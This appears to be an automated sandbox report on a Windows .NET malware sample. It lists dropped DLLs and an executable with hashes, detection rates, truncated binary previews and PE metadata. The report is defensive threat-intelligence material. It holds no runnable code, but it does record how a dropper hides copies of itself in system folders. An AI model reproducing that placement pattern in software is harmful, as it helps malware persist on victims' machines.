Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\rlYPDESj.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\sizXZEhe.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\smUfKBeQ.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uXAwROpJ.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	5.645950918301459
Encrypted:	false
SSDEEP:	384:fRDtCEPOaiRBCSzHADW8S3YVDOy6Vgh/UaFTKqrPd62GTB7ZyTG4sTaG:fR/IMEACDoJ86/UoTKqZwJ8TG4
MD5:	E84DCD8370FAC91DE71DEF8DCF09BFEC
SHA1:	2E73453750A36FD3611D5007BBB26A39DDF5F190
SHA-256:	DD7AC164E789CAD96D30930EFE9BBA99698473EDEA38252C2C0EA44043FB1DB5
SHA-512:	77461BA74518E6AE9572EC916499058F45D0576535C20FAE74D0CB904DC79ED668B94885BFC38E24D5DEEAE7FBEF79B768216F1422B2178277DBD3209FC2AFD9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.../6.d...........!.....x............... ........@.. ..............................<.....@....................................W.................................................................................... ............... ..H............text...4v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B........................H........e..L0...........c......................................................................................................................................................................o.<.....r%.2.D..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ucOGKASd.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\upHOgkjL.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	5.535426842040921
Encrypted:	false
SSDEEP:	384:aShD1nf4AeGAJVdBb9h2d7WNrFBo29TZHD1qPPPPPDPC2C6/Xa3c4J9UbWr4e169:aSPUrJVH94sDBLVZHxqPPPPPDPC2C6/X
MD5:	5420053AF2D273C456FB46C2CDD68F64
SHA1:	EA1808D7A8C401A68097353BB51A85F1225B429C
SHA-256:	A4DFD8B1735598699A410538B8B2ACE6C9A68631D2A26FBF8089D6537DBB30F2
SHA-512:	DD4C7625A1E8222286CE8DD3FC94B7C0A053B1AD3BF28D848C65E846D04A721EA4BFFAFA234A4A96AB218CEE3FC1F5788E996C6A6DD56E5A9AB41158131DFD4B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...a..e...........!.....X...........w... ........@.. ....................................@..................................v..W.................................................................................... ............... ..H............text...$W... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................w......H........Q..D%...........P........................................................................................................................................................................pw.&..l%\....................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vOcwhcWM.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wRGvCRHS.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\yOqmYLpC.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\yfxFnhjF.log

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zPgEnxiR.log

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.41854385721431
Encrypted:	false
SSDEEP:	384:8Np+VQupukpNURNzOLn7TcZ64vTUbqryealcpA2:bPpu0NyzOL0ZJ4bavae
MD5:	BBDE7073BAAC996447F749992D65FFBA
SHA1:	2DA17B715689186ABEE25419A59C280800F7EDDE
SHA-256:	1FAE639DF1C497A54C9F42A8366EDAE3C0A6FEB4EB917ECAD9323EF8D87393E8
SHA-512:	0EBDDE3A13E3D27E4FFDAF162382D463D8F7E7492B7F5C52D3050ECA3E6BD7A58353E8EC49524A9601CDF8AAC18531F77C2CC6F50097D47BE55DB17A387621DF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...)..d...........!.....N...........l... ........@.. ..............................R.....@..................................l..O.................................................................................... ............... ..H............text....M... ...N.................. ..`.rsrc................P..............@..@.reloc...............T..............@..B.................l......H........L..............lL..H....................................................................................................................................................................lsx)T.,.....h.)................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\CbsTemp\97e8683a328693

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with very long lines (729), with no line terminators
Category:	dropped
Size (bytes):	729
Entropy (8bit):	5.874194074468753
Encrypted:	false
SSDEEP:	12:5gsbCK6g3Ah7tg3Ie63PAWsdI8gSacKSNxaDkk6d1DtToFUlMMH3k1pQbX8:5gbY3ARtPf3YXdsSTKSNa6jtTSMXg2bs
MD5:	D1D270FEC88FA074808B1AAF46A56253
SHA1:	596125440A8BC7964FE8F558A05AFD9DF70E3A03
SHA-256:	0B78C521FF5C09EE8689B796CCE0F0C11DAC37958D1E5F193999D12D098551F2
SHA-512:	78F8D06E9147E4812F500130B6E81A1C9A7690B9AB70D700EB34A8C058499579D27204BEA306B702F75B5D2A29B6AB121B41FC00A878B0352A67C6F709C08AB0
Malicious:	false
Preview:	PTjZLnMthHxg406hdv6y0gXtiqNj1KOjQI2oDbaQk4DendbIhAfyLF2s6z1fam1W3NQw7RdBVpO5c2GFOFC1pZYKPJsOk508DqlaMpKPgddf17QDtwQVjArdyGhyjPbayQ1vQp3j4wUM52TR2oeyofYD9HlFIVqQBDrlFfwD2raxpfi5xP64vnwT1yvJExaiGDK2LsLX1a56EkXejpS2ZvfYRXtRtn9FQ2qlVpuFDiCUrzPQaRjYeiIUivlx84nNazpM3wJ45Nz0sKqbIc0cElkstWDjD6GJ5y32JDWoIpcRsRlXEJpgDKJzP7chsj09Gq54QyRFFMUZIT9buqe4QkFupEmMkz5iydKCWrGQ1ka10uq57BwCF6sgkKOMLFfPQvkpI7EDjOCqJO45XqPiC3d2uncLc3EwFLkEJAxA7sc04CXWQTyez6MXSs4ee2lpKPl8nzwW3PlUam7sQF5IFj6I8NvaFSfEHwppaZsbhblkV26quMOZ7cklSc9aDVQkugMo6SR0Weln8WxFQFp3EFHpLEW8ZSXLLA0yqStc4XCd17m5p4J7pXfoZgc16TbEGZc7g8Y8WN8rDoyOcaSfIZgxeLZJz1fl68WbfpZqfLlcYylvsOZfA66q3ocUjPIerXvERWtwBm97yDZpknalbAl9Cqi0MFHQCHuADgeWfmdY692zPxt5yhCqwvCky2k5et4rSYmEJEGzgNCDyslZVLbfE

C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3966976
Entropy (8bit):	7.30342031524926
Encrypted:	false
SSDEEP:	49152:eqoEZMtkhYeVS/DqvypgwR9uVd7TfeBtF+99CutuvTC82K:eqoyMtkCeVSreqgwRmleBtF+7Cutuvv
MD5:	6275C7746A9CE8E5E2FC05271E47BAC9
SHA1:	6E602C5D626AEDCC9006C18B5DCB4285265501F0
SHA-256:	A289B8BE605D9A1D0B7D4F30290A2CE798AA6B70E2A7440FEC0E07625B50FD73
SHA-512:	A2A40AFA60A73BBFFCCA2CE7FD53673E60A26D035FB82FBDE995B0434B473EA4CC6DA3EDF158F943154EA869BF7F2448421AE3948038BAFBC9E12E619660747E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................<.........N.<.. ....<...@.. ........................<...........@...................................<.K.....<.p.....................<...................................................... ............... ..H............text...T~<.. ....<................. ..`.rsrc...p.....<.......<.............@....reloc........<.......<.............@..B................0.<.....H.......xm..t............T..u.".v.<......................................0..........(.... ........8........E....]..........)...N...8X...(.... ....~....{....:....& ....8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....8{....0..........+.(%I.\ ........8........E....=...................M...88...8.... ....8....~....:.... ....~....{....:....& ....8.......... ....8....~....(.... .... .... ....s....~....(........ ....~....{....:V...& ....8K...r...ps....z*....~....(

C:\Windows\CbsTemp\kOfFkekrfoWUJKTEEHXqPfq.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\lEwK4xROgV.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.613865166769504
Encrypted:	false
SSDEEP:	12:PJ5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:rdUOAokItULVDv
MD5:	B29E20FB139650556924373E12A38242
SHA1:	02E7FE0ED025E675CB7612583FE4C2B1ADB98045
SHA-256:	16C9F20409BBC0FA839FA78427280EA00317033E22353762DF1DD6B9F66B46F2
SHA-512:	D40449ACB37663F478CFFCDFB6E74C0797C210792A3EF23822D64D56A1BADF5AFAE52C5B6408D1770CAE4F31EC0BCD15A67F1648A202F65D5C0C9223EA3E9519
Malicious:	false
Preview:	..Pinging 910646 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.30342031524926
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	lEwK4xROgV.exe
File size:	3'966'976 bytes
MD5:	6275c7746a9ce8e5e2fc05271e47bac9
SHA1:	6e602c5d626aedcc9006c18b5dcb4285265501f0
SHA256:	a289b8be605d9a1d0b7d4f30290a2ce798aa6b70e2a7440fec0e07625b50fd73
SHA512:	a2a40afa60a73bbffcca2ce7fd53673e60a26d035fb82fbde995b0434b473ea4cc6da3edf158f943154ea869bf7f2448421ae3948038bafbc9e12e619660747e
SSDEEP:	49152:eqoEZMtkhYeVS/DqvypgwR9uVd7TfeBtF+99CutuvTC82K:eqoyMtkCeVSreqgwRmleBtF+7Cutuvv
TLSH:	D4068D03A1925FB2C3552F33C5DB99045364D3BC3123EA1BB96B0B531A5A396EB473A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................<.........N.<.. ....<...@.. ........................<...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x7c9e4e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3c9e00	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3cc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x3c7e54	0x3c8000	507e31409e44f5d81e962552818c9e06	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x3ca000	0x370	0x400	5e39513b2ebd2d0214da45a698e24317	False	0.3779296875	data	2.865400005536527	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x3cc000	0xc	0x200	3e9d883f762224f3c078b27198d512ff	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x3ca058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

